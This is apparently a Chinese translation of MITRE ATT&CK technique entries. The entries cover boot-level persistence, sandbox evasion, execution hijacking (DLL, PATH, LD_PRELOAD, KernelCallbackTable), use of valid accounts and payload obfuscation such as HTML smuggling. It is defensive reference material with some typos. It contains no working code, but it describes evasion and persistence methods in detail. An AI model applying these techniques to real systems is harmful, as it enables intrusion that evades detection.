T1542.001 Pre-OS Boot:系统固件 攻击者可能会修改系统固件,以维持在系统上的持久性。系统固件包括BIOS(基本输入/输出系统)、统一可扩展固件接口(UEFI)或可扩展固件接口(EFI)等,它是操作系统和硬件之间的软件接口。攻击者可以通过修改系统固件来执行或协助恶意活动,通过覆盖系统固件来安装恶意固件,这种攻击一般难以检测。
T1542.003 Pre-OS Boot:Boot套件 攻击者可能会使用Boot套件,以建立在系统上的持久性。Boot套件位于操作系统的下一层,除非有人怀疑Boot套件被使用,然后采取相应措施,不然很难发现。Boot套件是一种恶意软件变体,它可以修改硬盘驱动器的引导扇区,包括主引导记录(MBR)和卷引导记录(VBR)。MBR是BIOS完成硬件初始化后首先加载的磁盘部分,它是引导加载程序的位置。对Boot驱动有访问权限的攻击者,可能会通过覆盖此区域,然后再启动期间将加载程序转移到执行攻击者的恶意代码。在Boot启动过程中,MBR会将控制权传递给VBR,因此,对Boot驱动有访问权限的攻击者,可能会通过覆盖VBR,然后再启动期间将加载程序转移到执行恶意代码。
T1542.005 Pre-OS Boot:TFTP Boot 攻击者可能会滥用网络启动,通过文件传输协议(TFTP)服务器加载未经授权的网络设备操作系统。网络管理员通常使用TFTP引导(网络引导)从集中式管理服务器加载配置控制的网络设备映像。网络引导作为Boot中的一种选项,可用于集中、管理和控制设备映像。攻击者可能在网络设备上使用恶意TFTP服务器配置,该配置可以与“修改系统映像”结合使用,在设备启动或重置时加载修改后的映像。攻击者可以通过未经授权的映像修改设备的配置,向设备中添加恶意功能,引入后门来维持对网络设备的控制,并且通过使用标准功能来避免被检测,此技术类似于ROMMONkit,可能会导致网络设备运行修改后的映像。
T1542.002 Pre-OS Boot:组件固件 攻击者可能会修改组件固件,以建立在系统上的持久性。攻击者可能会采用复杂的手段来破坏计算机组件并安装恶意固件,这些恶意固件将在操作系统和主系统固件或BIOS之外执行攻击代码。恶意组件固件可以提供对系统的持久访问,虽然可能会出现维护访问和硬盘重新映像的问题,但是可以逃避基于主机软件的防御和完整性检查。
T1542.004 Pre-OS Boot:ROMMON套件 攻击者可能通过恶意代码加载未经授权的固件来滥用ROM监测器(ROMMON),以建立在系统上的持久性,并且执行系统难以检测的恶意行为。ROMMON是Cisco网络设备固件,在平台启动或重置时,可以用作引导加载程序,引导映像或帮助程序来初始化硬件和软件。攻击者可以使用恶意代码在本地或远程(例如,通过TFTP)升级ROMMON映像,然后重新启动设备以覆盖现有的ROMMON映像,这种方法可以更新ROMMON,从而建立对系统的持久性,且难以被检测。
T1612 在主机上构建映像 攻击者可能在主机上直接构建容器映像,以绕过监控从公共注册表检索恶意映像的防御。远程构建请求可能发送到Docker API,其中包含从公共或本地注册表拉取 vanilla 基础映像(如 alpine)然后在其上构建自定义映像的Dockerfile。攻击者可能利用该构建API在主机上构建包含从其C2服务器下载的恶意软件的自定义映像,然后可能利用部署容器使用该自定义映像。如果基础映像从公共注册表拉取,防御者可能不会将该映像检测为恶意,因为它是 vanilla 映像。如果基础映像已驻留在本地注册表中,则拉取可能被认为更不可疑,因为该映像已在环境中。
T1497 虚拟化/沙箱 攻击者可能会检查是否存在虚拟机环境(VME)或沙箱,以避免潜在地检测到工具和活动。如果攻击者检测到VME,他们可能会更改其恶意软件以隐藏植入物的核心功能或与受害者分离。他们还可能在丢弃次要或其他有效载荷之前搜索VME工件。攻击者可能会在自动发现过程中使用从虚拟化/沙盒逃避中学到的信息来塑造后续行为。攻击者可以通过搜索安全监测工具(例如Sysinternals,Wireshark等)来使用包括安全软件发现在内的多种方法来完成虚拟化/沙盒逃避,以帮助确定其是否为分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环,以避免在临时沙箱中进行操作
T1497.001 虚拟化/沙箱:系统探测 攻击者通常会从多个方面来识别虚拟化或沙箱环境,从而规避潜在的被发现的风险。甚至会根据不同的系统环境改变不同的攻击行为。攻击者如果识别出系统未VME,则可能放弃对该虚拟系统实施进一步的植入无效的攻击程序,甚至他们会根据VME的信息,查询特定的攻击工具或放弃进行下一步攻击。为获取详细的系统信息,收集系统信息的手段因人、因环境而异,包括但不限于WMI、Powershell、系统信息收集、查询注册表等。攻击者可能手动在内存、进程、文件系统、硬件或注册表等信息中判别是否是VME环境。也可能通过脚本自动化地收集系统信息,然后利用特定程序判断系统是否为VME。检查可以包括一般系统属性,如正常运行时间和网络流量样本。还包括检查网络适配器地址、CPU核心计数和可用内存/驱动器大小。其他常见检查可能会枚举这些应用程序特有的运行服务、系统上已安装的程序、与虚拟机应用程序相关的字符串的制造商/产品字段以及特定于VME的硬件/处理器指令。在VMWare等应用程序中,攻击者还可以使用特殊的I/O端口来发送命令和接收输出。硬件检查,例如风扇、温度和音频设备的存在,也可以用来收集可以指示虚拟环境的证据。攻击者利用从这些设备读取的特定信息判断环境。
T1497.003 虚拟化/沙箱:基于时间判断 攻击者可通过多种基于时间的手段分析系统环境或判断是否为虚拟化系统。这些手段包括时间、计时器或其它基于时间的触发器,特别是一些自动化的在一定时间内的触发器,较为方便检测虚拟化系统或沙箱。攻击者也能利用基于时间的方式规避检查,如利用编程手段延时调用系统的命令,从而延时恶意软件执行命令的频率。甚至分阶段完成恶意软件的行为。
T1497.002 虚拟化/沙箱:基于用户行为检测 攻击者通常会从多个用户的行为来识别虚拟化或沙箱环境,从而规避潜在的被发现的风险。甚至会根据不同的系统环境改变不同的攻击行为。攻击者如果识别出系统未VME,则可能放弃对该虚拟系统实施进一步的植入无效的攻击程序,甚至他们会根据VME的信息,查询特定的攻击工具或放弃进行下一步攻击。甚至攻击者会伪造这些行为收集其它信息或实施下一步的攻击。攻击者一般从多个方面获取用户行为,如鼠标移动和点击的速度、平率,浏览器历史记录、缓存、书签、文件名、文件目录等信息。甚至利用行为实施下一步攻击,如用户关闭某一个文件或双击启动某个文件时,执行可疑程序。
T1480 执行保护 攻击者利用执行保护来限制自己的恶意payload执行或者在目标环境中的执行动作情况。执行保护确保有效的Payload只在预定的目标环境上才会执行,这样可以减少在渗透中由攻击者带的损坏。通常攻击者考虑的过滤值包括:特定的网络共享名称、附加的网络物理设备\文件、是否加入了AD域以及本地或者外部的特定IP地址。执行保护用于防止在非目标环境中运行暴露自身功能。执行保护的一个典型的场景是在虚拟环境/沙盒逃避。
T1480.001 执行保护:环境密钥 攻击者可能会按环境来绑定不同负载或恶意软件的功能,以逃避防御并制定在特定目标环境下执行。攻击者根据目标环境中特定条件来进行加密。环境密钥是执行保护的一种实现,该实现利用加密技术从给定计算环境中的特定类型的值导出加密/解密密钥。加密依赖的值可以从特定于目标的元素派生,并用于为加密的有效负载生成解密密钥。特定于目标的值可以从特定的网络共享,物理设备,软件/软件版本,文件,已加入的AD域,系统时间以及本地/外部IP地址中获取。通过根据特定于目标的环境值生成解密密钥,环境密钥技术可以使沙箱检测,反病毒检测,信息众包和逆向工程分析变得困难。这些困难可能会减慢事件响应过程的速度,并帮助攻击者隐藏其战术,技术和程序(TTP)。
T1656 冒充 攻击者可能会冒充受信任的个人或组织,以说服和诱骗目标代表他们执行某些操作。例如,攻击者可能会冒充已知发送者(例如高管、同事或第三方供应商)与受害者通信(通过网络钓鱼获取信息、网络钓鱼或内部鱼叉式网络钓鱼)。然后,攻击者可以利用已建立的信任来实现其最终目标,可能针对多个受害者。在许多商业电子邮件入侵或电子邮件欺诈活动中,攻击者使用冒充手段欺骗受害者——诱骗他们汇款或泄露信息,最终导致金融盗窃。攻击者通常还会使用社会工程技术,例如在电子邮件主题行和正文中使用操纵性和说服性语言(例如payment、request),或urgent在检测到恶意活动之前促使受害者迅速采取行动。这些活动通常专门针对那些由于工作角色和/或访问权限而可以实现攻击者目标的人。冒充通常先采用侦察技术,例如收集受害者身份信息和收集受害者组织信息,以及获取电子邮件域(即域)等基础设施以证实其虚假身份。涉及冒充的攻击活动中可能会有多名受害者。例如,攻击者可能会入侵某个组织的账户,然后利用这些账户来冒充其他实体。
T1601 修改系统映像 攻击者可能更改嵌入式网络设备的操作系统,以削弱防御能力并为攻击者提供新能力,在此设备上,操作系统通常是单片的,并且大多数设备功能和能力都包含在单个文件中。为了改变操作系统,攻击者通常只需要影响此文件(此文件是指操作系统是单片的,该文件包含大多数设备功能和能力的文件),即只需要对改文件进行替换或修改,这可以在系统运行时的实时内存中立即生效,也可以在存储中实现在下次网络设备重启时进行更改。
T1601.001 修改系统映像:修补系统映像 攻击者可能修改网络设备的操作系统,以引入新能力或削弱现有的防御能力,某些网络设备时采用整体架构构建的,其中整个操作系统和大多数设备的功能都包含在单个文件中,攻击者可能会在存储中修改这个文件,并在以后的引导中加载该文件,或在运行时内存中加载。为了更改存储中的操作系统,攻击者通常使用设备操作者可用的标准程序,这可能通过在网络设备上使用的协议(如TFTP、FTP、SCP或与控制台连接)下载新文件,原始的文件可能被重写,或者在原始文件旁边写入新的文件,且设备已重新配置为引导到受感染的映像。为了更改内存中的操作系统,攻击者经常使用两种方法,第一种方法是攻击者在原始、未更改的正在运行的操作系统中使用本机调试命令,从而使其允许攻击者直接修改包含正在运行的操作系统的相关内存地址,此方法通常需要管理级权限对设备进行访问。更改内存中操作系统的第二种方法中,攻击者将会利用引导加载程序,当设备启动时引导加载程序时加载的第一个软件,它将启动操作系统。攻击者可能会使用事前植入到引导程序中的恶意代码(例如通过ROMMONkit方法)直接操作运行在内存中的操作系统代码,引导程序中的恶意代码将会提供给攻击者直接进行内存操作的能力,从而允许攻击者可以在运行时修补实时操作系统。通过修改存储在系统映像文件中的指令,攻击者可以削弱现有的防御能力或提供设备之前不存在的能力,现有防御可以被阻止的实例包括:通过弱化加密进行加密、通过网络设备身份认证进行认证以及通过网络边界桥接进行外围防御,为攻击者添加新功能如键盘记录、多级代理和端口断开。攻击者也可以破坏操作系统中的现有命令,以产生错误的输出,从而误导防御方。当该方法与降级系统映像一起使用时,受感染系统命令的一个示例可能包含更改当前运行操作系统版本的输出命令,通过修补操作系统,攻击者可以更改这个命令,以显示他们通过系统降级替换的原始的、更高的修订版本号。当操作系统在存储中被修补时,可以在常存在的存储(通常是一种非易失性闪存)中或通过TFTP引导来实现该技术。当该技术在内存中正在运行的操作系统上执行时,而不是在存储的副本上执行,该技术将无法在重启后继续存在,但是可以在操作系统的实时内存中的修改可以与ROMMONkit结合实现持久化。
T1601.002 修改系统映像:降级系统映像 攻击者可能安装网络设备操作系统较早的版本,以削弱其安全性,网络设备上较早的操作系统通常具有弱加密密码和较少更新防御功能。在嵌入式设备上,降级版本通常仅需要替换存储中的操作系统文件,对于大多数嵌入式设备,这可以通过下载所需版本的操作系统文件的副本并重新配置设备以在下次系统重启的时候从该文件中引导来实现,攻击者也可以重启设备以使其噶鞥该立即生效,或者等到下一次系统重启。将系统映像降级到较旧版本可允许攻击者通过启用瑞玛加密等行为来逃避防御,系统映像的降级可以独立完成,也可以与系统映像补丁一定使用。
T1574 劫持执行程序 攻击者可以通过劫持操作系运行程序的方式去执行其恶意负载。由于劫持的程序会随着时间再次发生,因此该技术可用于持久化,此外,攻击者还可以使用这些技术达到提升权限和躲避检测的目的,例如,劫持执行中的应用控制程序或其它限制条件。攻击者可能采用多种方式劫持执行的程序,比如通过控制操作系统如何定位要执行的程序,也可以拦截操作系统定位程序使用库的方式,定位操作系统查找程序或资源的位置,例如文件目录和已经包含恶意载荷的Windows的注册表。
T1574.007 劫持执行程序:劫持环境变量Path路径 攻击者可以通过劫持用于加载库的环境变量来执行其恶意载荷。攻击者可以将一个程序防止在环境变量Path列表中较前的位置,当Windows依次在环境变量Path列表中查找脚本或命令行调用的二进制文件时,攻击者添加的脚本将比所需要的合法二进制文件先执行。环境变量Path中包含一系列目录,某些程序的执行方法(如使用cmd.exe 或命令行),完全依赖Path变量来确定未提供程序路径时搜索程序的位置。如果在Windows环境目录%SystemRoot%\system32(例如:C:\Windows\system32)之前的Path列表中可以列出任意目录,则可以在之前目录中放置一个与Windows程序相同的程序(ru :cmd、PowerShell或Python),这些命令将从脚本或命令行执行时先执行。举个例子:如果环境变量Path中C:\example路径位于C:\Windows\system32之前,且一个名为net.exe的程序防止在C:\example目录中,则当调用名为net.exe程序的时候,会调用C:\example目录中的net.exe程序,而不是Windows系统”net”命令。
T1574.011 劫持执行程序:服务注册表权限漏洞 攻击者可以通过劫持服务使用的注册表项来执行其恶意载荷。攻击者可能使用注册表中的权限缺陷将原指定的可执行文件重定向到攻击者控制的可执行文件,以便在服务启动时启动攻击者的代码。Windows将本地服务配置信息存储在注册表的HKLM \ SYSTEM \ CurrentControlSet \ Services中,可以通过服务控制器、sc.exe、PowerShell或Reg等工具来操纵存储在服务的注册表中的信息,以修改服务的执行参数,通过访问控制列表和权限来控制对注册表项的访问。如果没有正确配置用户和组的权限,并允许访问服务的注册表项,攻击者可以更改服务的binPath/ImagePath以指向攻击者控制下的其它可执行文件,当服务启动或重启时,将执行由攻击者控制的程序,从而使攻击者达到持久性和特权提升。攻击者还可能更改与服务失败参数(如:FauilureCommand)相关联的注册表项,该注册表项可以在服务失败或故意损害服务时被执行。
T1574.001 劫持执行程序:DLL加载顺序劫持 攻击者可以劫持DLL的加载顺序以执行其恶意载荷。Windows系统使用一种通用的方法来查找要加载到程序中的DLL,加持加载的DLL可能是为了建立持久化或绕过文件执行的限制。攻击者可以采用很多方法进行DLL劫持。攻击者可以将特洛伊木马动态链接库文件(DLL)放在目录中(即和应用程序在同一个目录中),该目录将在程序请求合法库的位置前被搜索(即最先搜索和应用程序在同一个目录下的DLL),进而导致Windows在运行程序的时候加载恶意裤文件。攻击者也可以将一个与未明确指定DLL名字相同的恶意DLL文件放在在某一个Windows搜索到合法DLL之前的目录中,来执行DLL预加载,也称为二进制植入攻击,通常情况下,这个目录是程序当前的工作目录。当程序在加载DLL之前将其当前目录设置为一个远程位置(例如Web共享目录)时,就会发生远程DLL预加载攻击。攻击者也可以直接替换现有的DLL文件,或修改.manifest或.local重定向文件、目录或连接处(导致程序加载一个不同的DLL)来直接修改程序加载DLL的方式。如果将易受加载顺序攻击程序的配置文件修改为更高权限的运行,则被加载的恶意DLL也会以相应的高权限运行。在这种情况下,该技术可被攻击者用于权限提升,如将用户权限提升到管理员或从管理员提升到SYSTEM权限。由于恶意DLL会配置为加载合法DLL(被恶意DLL替换的合法DLL),因此发生DLL加载顺序劫持的程序看起来似乎是正常运行的。
T1574.008 劫持执行程序:搜索顺序路径劫持 攻击者可以通过劫持用于加载其它程序的搜索顺序来执行其恶意载荷。由于某些程序并没有使用完整的路径调用其它程序,因此攻击者可以将自己的文件放在调用程序所在的目录中,从而导致操作系统根据程序的调用请求启动其恶意程序。当攻击者利用Windows搜索未制定路径的程序时,就会发生搜索顺序劫持,与DLL搜索顺序劫持不同的是搜索顺序根据执行程序的方法不同。但是,Windows通常使先搜索启动程序的目录,然后再搜索Windows系统目录。攻击者发现受搜索顺序劫持的程序(即未指定可执行文件路径的程序)后,可以通过创建一个不正确命令的程序,并将其放置在启动程序的目录中。举个例子:”example.exe”使用命令行参数 net user 运行”cmd.exe”,攻击者可以将名为”net.exe”的程序放在与example.exe同一个目录中,“net.exe”将被程序所调用运行,而不是运行Windows系统的net程序。此外,如果攻击者将名为”net.com”的程序与”net.exe”放在同一个目录中,由于在Path下另一的可执行扩展名的顺序,cmd.exe /C net user将会运行”net.com”而不是”net.exe”。
T1574.006 劫持执行程序:LD_PRELOAD 攻击者可能通过劫持用于加载库的动态链接程序去执行其恶意载荷。动态链接用于加载程序所需要的共享依赖库,动态链接会经常检查程序提供的绝对路径和公共目录是否存在这些依赖库,但却可以由LD_PRELOAD指定得共享对象去覆盖,以至该指定对象在其它对象之前被加载。攻击者可以将LD_PRELOAD设置为指向与受害者程序请求的合法库名字相匹配的恶意库,从而导致操作系统在执行受害者程序的时候加载攻击者的恶意代码,可以通过环境变量或 /etc/ld.so.preload文件进行设置LD_PRELOAD,LD_PRELOAD指定得库分别通过dlopen()和mmap()加载并映射到内存中。LD_PRELOAD劫持可能会使攻击者获取到受害者进程内存、系统/网络资源和可能存在权限提升的访问权限。由于执行过程被合法程序所掩饰,因此可以通过LD_PRELOAD劫持也可以达到躲避安全产品的检测。
T1574.005 劫持执行程序:可执行安装程序文件权限漏洞 攻击者可以通过劫持安全装程序使用的二进制文件来执行其恶意载荷。这些进程可以自动执行一些特定的二进制文件作为其功能或执行其它操作的一部分,如果包含二进制文件系统目录或二进制文件本身的权限设置不正确,则该二进制文件可能会被另一个用户权限的二进制文件覆盖,但仍由原来进程执行,如果原来进程或线程都以一个高权限运行,则被替换的二进制文件也会以一个高权限运行,该权限包含SYSTEM。可以利用可执行的自解压安装程序中常见的弱点来执行此技术的另一种变种攻击。在安装过程中,经常会使用到%TEMP%目录中的子目录去解压二进制文件,如DLLs、EXEs或其它载荷。当安装程序创建子目录和文件时,经常不会设置适当的权限去限制“写”的访问操作,这将允许执行放在子目中不受信任的代码,或覆盖安装过程中使用的二进制文件,此行为与利用DLL加载顺序劫持有关。攻击者可能使用此技术将合法的二进制文件替换为恶意二进制文件,进而以更高权限执行这个恶意二进制文件。有些安装程序可能还需要高权限运行,这将在执行攻击者控制的代码时导致权限提升,此行为与绕过用户账户控制有关,如果执行程序被设置为在指定时间或在某个事件内(如系统启动)运行,则该技术会被用于持久化攻击。
T1574.010 劫持执行程序:服务文件权限漏洞 攻击者可通过劫持服务使用的二进制文件来执行其恶意载荷。攻击者可能会利用Windows服务权限中的缺陷来替换服务启动时执行的二进制文件,这些服务程序都会自动执行特定的二进制文件作为其功能的或执行其它操作的一部分,如果包含目标二进制文件的文件系统目录上的权限或二进制文件本身的权限配置不正确,则目标二进制文件可以使用一个普通权限的账户进行覆盖该二进制文件,并仍由原进程执行。如果原始进程和线程在高权限下运行,则覆盖后的二进制文件也将在高权限下运行,其中可能包括SYSTEM权限。攻击者可以使用此技术将符合文件替换为恶意二进制文件,且以高权限运行该恶意二进制文件,如果将此执行程序设置为特定时间或特定事件期间(如系统启动期间)运行,则该技术也可用于持久化。
T1574.013 劫持执行程序:KernelCallbackTable 攻击者可能滥用进程的KernelCallbackTable来劫持其执行流以运行自己的有效载荷。KernelCallbackTable可以在进程环境块(PEB)中找到,一旦加载user32.dll,它就会初始化为GUI进程可用的图形函数数组。攻击者可以通过将原始回调函数替换为恶意有效载荷,使用KernelCallbackTable劫持进程的执行流。修改回调函数可以通过各种方式实现,包括相关行为,如反射代码加载或进程注入到另一个进程中。可以通过定位PEB(例如,通过调用NtQueryInformationProcess()原生API函数)获得指向KernelCallbackTable内存地址的指针。找到指针后,可以复制KernelCallbackTable,并将表中的函数(例如fnCOPYDATA)设置为恶意有效载荷的地址(例如,通过WriteProcessMemory())。然后使用表的新地址更新PEB。一旦被篡改的函数被调用,恶意有效载荷将被触发。被篡改的函数通常使用Windows消息调用。在进程被劫持并执行恶意代码后,恶意有效载荷的其余部分也可能将KernelCallbackTable恢复到其原始状态。使用KernelCallbackTable劫持执行流可能会逃避安全产品的检测,因为执行可以被掩盖在合法进程之下。
T1574.009 劫持执行程序:不带引号的路径劫持 攻击者可以通过劫持文件路径引用来执行其恶意载荷。攻击者可以通过将可执行文件放在路径的更高级目录中,进而利用缺少引号的路径,从而Windows将选择启动攻击者的可执行文件。如果路径包含一个或多个空格且未用引号引起来,则服务路径和快捷方式路径很容易受到路径劫持攻击(如:C:\unsafe path with space\program.exe VS “C:\safe path with space\program.exe”)。(存储在注册表中)攻击者可以放置一个可执行程序在路径的更高级目录中,Windows会解析该可执行文件,而不是预期的可执行文件,举个例子:如果快捷方式中的路径时C:\program files\myapp.exe,攻击者会在C:\program.exe创建一个程序,且该程序将会取代预期程序而运行。如果定期调用可执行文件,则该技术可用于持久化,如果劫持的可执行文件是由更高权限的进程调用,则该技术还可用于权限提升。
T1574.002 劫持执行程序:DLL侧加载(白加黑技术) 攻击者可以通过劫持用于加载DLL的库列表来执行其恶意载荷。攻击者通过将合法的库替换为恶意的库,进而利用程序中对DLL库的模糊引用,从而导致操作体统在加载程序时调用恶意的DLL。程序在运行时可以指定特定加载特定的DLL,但不正确或模糊式的指定所需要得DLL,程序就可能打开并加载一个恶意的DLL。当Windows的Side-by-Side(WinSxS)列表对于要加载DLL的特征不够明确时,就会发生DLL侧加载漏洞,攻击者可以利用合法程序的这个弱点,将合法DLL文件替换为一个恶意的DLL。攻击者可能通过这项技术来掩盖其在合法、受信任的系统或软件进程中的操作。
T1574.004 劫持执行程序:Dylib劫持 攻击者可以通过劫持用于加载库的模糊路径去执行其恶意载荷。攻击者可能将木马动态库放在目录中,该目录将在受害程序制定的合法库之前有操作系统搜索到,然后将其恶意库加载到受害进程中,MacOS 和 OS X系统使用通常的基于动态库路径搜索的方法去查询所需要的加载的动态库(dylib),然后加载到程序中。Dylib劫持的一种常见方法是,先查看应用程序使用了哪些动态库(dylib),然后在搜索路径之前植入一个具有相同名称 的恶意样本,这通常使dylib与应用程序处于同一个文件夹中。如果已经将程序配置成比当前用户权限更高的权限运行,则将dylib加载到应用程序中,dylib也会以这个高权限运行。
T1574.012 劫持执行程序:COR_PROFILER 攻击者可能会利用COR_PROFILER环境变量来劫持加载.NET CLR的程序执行流。COR_PROFILER是.NET Framework的一项功能,该功能允许开发人员指定非托管性能分析DLL,该DLL将被加载到每个加载公共语言运行时(CLR)的.NET进程中,这些配置文件被用来检测、解决和调试.NET CLR 执行的托管代码。可以在各种范围(系统、用户或过程)中设置COR_PROFILER环境变量,从而产生不同程度的影响。在注册表中指定系统和用户环境的作用域,可以在其中将组件对象模型(COM)对象注册为DLL分析器,也可以在内存创建的过程中创建进程范围COR_PROFILER,而无需修改注册表。从.NET Framework 4 开始,DLL分析器不需要被注册,只需要在COR_PROFILER_PATH环境变量中知名DLL的位置就可以。攻击者可以利用COR_PROFILER来进行持久化,该持久化在每次调用CLR时,在所有的.NET进程中执行恶意DLL。如果受害者的.NET进程是以高权限执行,则COR_PROFILER也将以高权限运行,以及削弱.NET提供的防御。
T1078 利用有效账户 攻击者通过获取有效的用户凭证后,通过滥用这些有效的用户凭证达到获取初始访问权限、持久化、提权、免杀的目的。被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者甚至可利用这些凭据的合法访问(不予恶意软件或其它工具结合使用),从而使攻击更加隐秘。拥有跨系统网络的(本地、域、云端)凭据和权限的账户,风险度非常高,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。
T1078.001 利用有效账户:默认账户 攻击者通过获取默认用户的访问凭证后,通过滥用这些默认用户凭证达到获取初始访问权限、持久化、提权、免杀的目的。默认用户一般是系统预置的用户,如Windows系统中的Guest、Administrator账户;或其它系统、软件或设备在出厂或安装时设置的账户。默认帐户不仅限于客户端计算机,还包括非开源、开源、商用的网络设备或应用程序中预置的账户。预置的账户和账户密码如果在安装完成后不进行修改,会极其容易被攻击者利用,从而造成非常严重的危害。类似地,攻击者还可以利用已公开披露或已窃取的私钥或凭证,合法地通过远程服连接到远程环境。
T1078.002 利用有效账户:域账户 攻击者通过获取域用户的访问凭证后,通过滥用这些默认用户凭证达到获取初始访问权限、持久化、提权、免杀的目的。域帐户是由Active Directory域服务管理的帐户,在这些帐户中,访问和权限是跨属于该域的系统和服务配置的。攻击者通过系统凭据导出或密码爆破等手段获取域账户,特别是一些拥有高权限的拥有访问整个域内资源的账户。
T1078.004 利用有效账户:云账户 攻击者通过获取云用户的访问凭证后,通过滥用这些默认用户凭证达到获取初始访问权限、持久化、提权、免杀的目的。云帐户是由组织创建和配置的,供用户、远程支持、服务使用,或用于管理云服务提供商或SaaS应用程序中的资源。也可能云账户与传统的认证管理系统有关联,如Windows 域控认证系统。
T1078.003 利用有效账户:本地账户 攻击者通过获取本地用户的访问凭证后,通过滥用这些默认用户凭证达到获取初始访问权限、持久化、提权、免杀的目的。本地账户一般是企业中的用户在系统或服务中创建的,用于远程支持、服务、或管理的账户。本地帐户也可能被滥用,通过操作系统凭据转储来提升权限和获取凭据。密码重用可能允许在网络上的一组计算机上滥用本地帐户,以实现权限提升和横向移动。
T1027 混淆文件或信息 攻击者通过加密、编码或其它方式混淆系统上或传输的内容以使可执行文件或文件难以被发现或分析,这是常见的行为,可以不同平台和网络中使用以躲避防御。载荷可能被压缩、存档或加密以避免被检测到,这些有效载荷可以在初始访问或之后使用以避免检测,有时需要用户打开和反混淆或解码文件或信息以供用户使用。还可能要求用户输入密码以打开由攻击者提供的受密码保护的压缩或加密文件,攻击者也可能使用压缩或存档脚本,例如JavaScript。还可以对文件的某部分进行编码以隐藏纯文本字符串,否则其将有助于防御方发现,有效载荷也可以被拆分成看似正常的单独文件,这些文件仅在重新组合后才会显示其恶意功能。攻击者还可能混淆从载荷或执行通过命令和脚本解释器执行的命令,环境变量、别名、字符和其它平台或语言特定的语义可用于规避基于签名的检测和应用程序控制机制。
T1027.009 混淆文件或信息:嵌入式有效载荷 攻击者可能在其他文件中嵌入有效载荷,以向防御者隐藏恶意内容。看似良性的文件(如脚本和可执行文件)可能被滥用来携带和混淆恶意有效载荷和内容。在某些情况下,嵌入式有效载荷还可以使攻击者通过不影响执行控制(如数字签名和公证票据)来颠覆信任控制。攻击者可能在各种文件格式中嵌入有效载荷以隐藏有效载荷。这类似于隐写术,但不涉及将恶意内容编织到与合法数字媒体格式相关的特定字节和模式中。例如,已观察到攻击者在其他方面良性的二进制文件中嵌入有效载荷或作为其覆盖层。攻击者还观察到将有效载荷(如可执行文件和仅运行脚本)嵌套在相同格式的文件中。嵌入式内容也可用作进程注入有效载荷,用于感染良性系统进程。这些嵌入式然后注入的有效载荷可用作恶意软件模块的一部分,旨在提供特定功能,例如加密C2通信以支持协调器模块。例如,嵌入式模块可以注入默认浏览器,允许攻击者随后通过网络进行通信。
T1027.008 混淆文件或信息:剥离有效载荷 攻击者可能尝试通过删除符号、字符串和其他人类可读信息来使有效载荷难以分析。脚本和可执行文件可能包含变量名和其他字符串,帮助开发人员记录代码功能。符号通常由操作系统的链接器在编译可执行有效载荷时创建。逆向工程师使用这些符号和字符串来分析代码并识别有效载荷中的功能。攻击者可能使用剥离的有效载荷,以使恶意软件分析更加困难。例如,编译器和其他工具可能提供删除或混淆字符串和符号的功能。攻击者还使用了剥离的有效载荷格式,如仅运行AppleScript(AppleScript的编译和剥离版本),以逃避检测和分析。缺乏人类可读信息可能直接阻碍有效载荷的检测和分析。
T1027.001 混淆文件或信息:二进制填充 攻击者可能利用二进制填充来添加垃圾数据并修改磁盘上恶意软件的表现形式,完成二进制填充操作而不会映像该二进制文件的功能和行为,但会增加二进制文件的大小,导致一些安全工具无法处理超出该超过一定大小的二进制文件。二进制文件的填充会改变该文件的校验和,可用于躲避基于Hash离别和静态防病毒签名机制的检测,二进制文件填充所使用的数据通常是由生成垃圾数据的函数生成,然后添加到尾部或适用于恶意软件的部分。增加文件大小可能会降低未设计或配置为扫描大文件的安全工具或检测功能能的有效性,同时也可能降低被收集和分析的可能性,公共文件扫描服务(如VirusTotal)会限制要分析的上传文件的最大大小。
T1027.005 混淆文件或信息:从工具中删除指示器 如果攻击者认为自己的恶意工具可能被检测到、隔离或以其它方式影响工具的使用,攻击者可以从工具中删除指示,他们可以通过删除指示器和使用不再被目标防御系统或后续可能的防御系统不再检测的更新版本来修改工具。一个很好的例子是监测带有文件签名的恶意软件和由防病毒软件隔离的恶意软件,可以确定恶意软件由于其文件签名而被隔离的攻击者会修改文件以避免因文件签名而被检测、隔离,然后重新使用该恶意软件。
T1027.003 混淆文件或信息:隐写术 攻击者可能会使用隐写术以防止检测到隐藏信息,隐写术包括隐藏数据于数字媒体中,如图像、音轨、视频以及文本文件中。Duqu是使用隐写术的恶意软件早期实例,其从受害者系统收集的信息通过加密,然后将其隐藏在图像中,进而将其发送到C2服务器。到2017年底,威胁组织使用Invoke-PSImage将PowerShell命令隐藏在图像文件(.png)中并在受害者系统上执行代码,在此特定情况下,PowerShell代码下载另一个混淆的脚本,从受害者主机收集情报并将其返回给攻击者。
T1027.004 混淆文件或信息:传递后编译 攻击者可能通过将文件以未编译的代码交付给受害者,从而使有效载荷难以被发现和分析。基于文本的源代码文件可能会破坏针对可执行文件/二进制文件保护措施的分析和审查,这些有效载荷将需要在执行前进行编译,通常通过本机实用程序如csc.exe或GCC/MinGW来完成。有效载荷的源代码可能被加密、编码或嵌入到其它文件中,例如以网络钓鱼的方式传递文件。有效载荷可能以一种无法识别的格式进行传递且对本机操作系统是正常的(例如macOS/Linux上的EXEs),之后在使用捆绑的编译器和执行框架将其重新编译为可执行的二进制文件。
T1027.006 混淆文件或信息:HTML走私 攻击者可能通过在看似良性的HTML文件中隐藏恶意有效载荷,将数据和文件走私通过内容过滤器。HTML文档可以存储称为JavaScript Blob(表示原始字节的不可变数据)的大型二进制对象,这些对象以后可以构造为类文件对象。数据也可以存储在数据URL中,数据URL允许在HTML文档中内联嵌入媒体类型或MIME文件。HTML5还引入了可用于启动文件下载的download属性。攻击者可能通过滥用JavaScript Blob和/或HTML5下载属性,通过HTML走私向受害者传递绕过安全控制的有效载荷。诸如Web内容过滤器之类的安全控制可能无法识别HTML/JS文件中走私的恶意文件,因为内容可能基于通常良性的MIME类型,如text/plain和/或text/html。恶意文件或数据可以通过数据URL和/或JavaScript Blob在HTML文件中被混淆和隐藏,并在到达受害者时被反混淆(即对文件或信息进行反混淆/解码),可能绕过内容过滤器。例如,JavaScript Blob可被滥用来在受害者机器上动态生成恶意文件,并可通过滥用msSaveBlob等JavaScript函数被丢弃到磁盘。
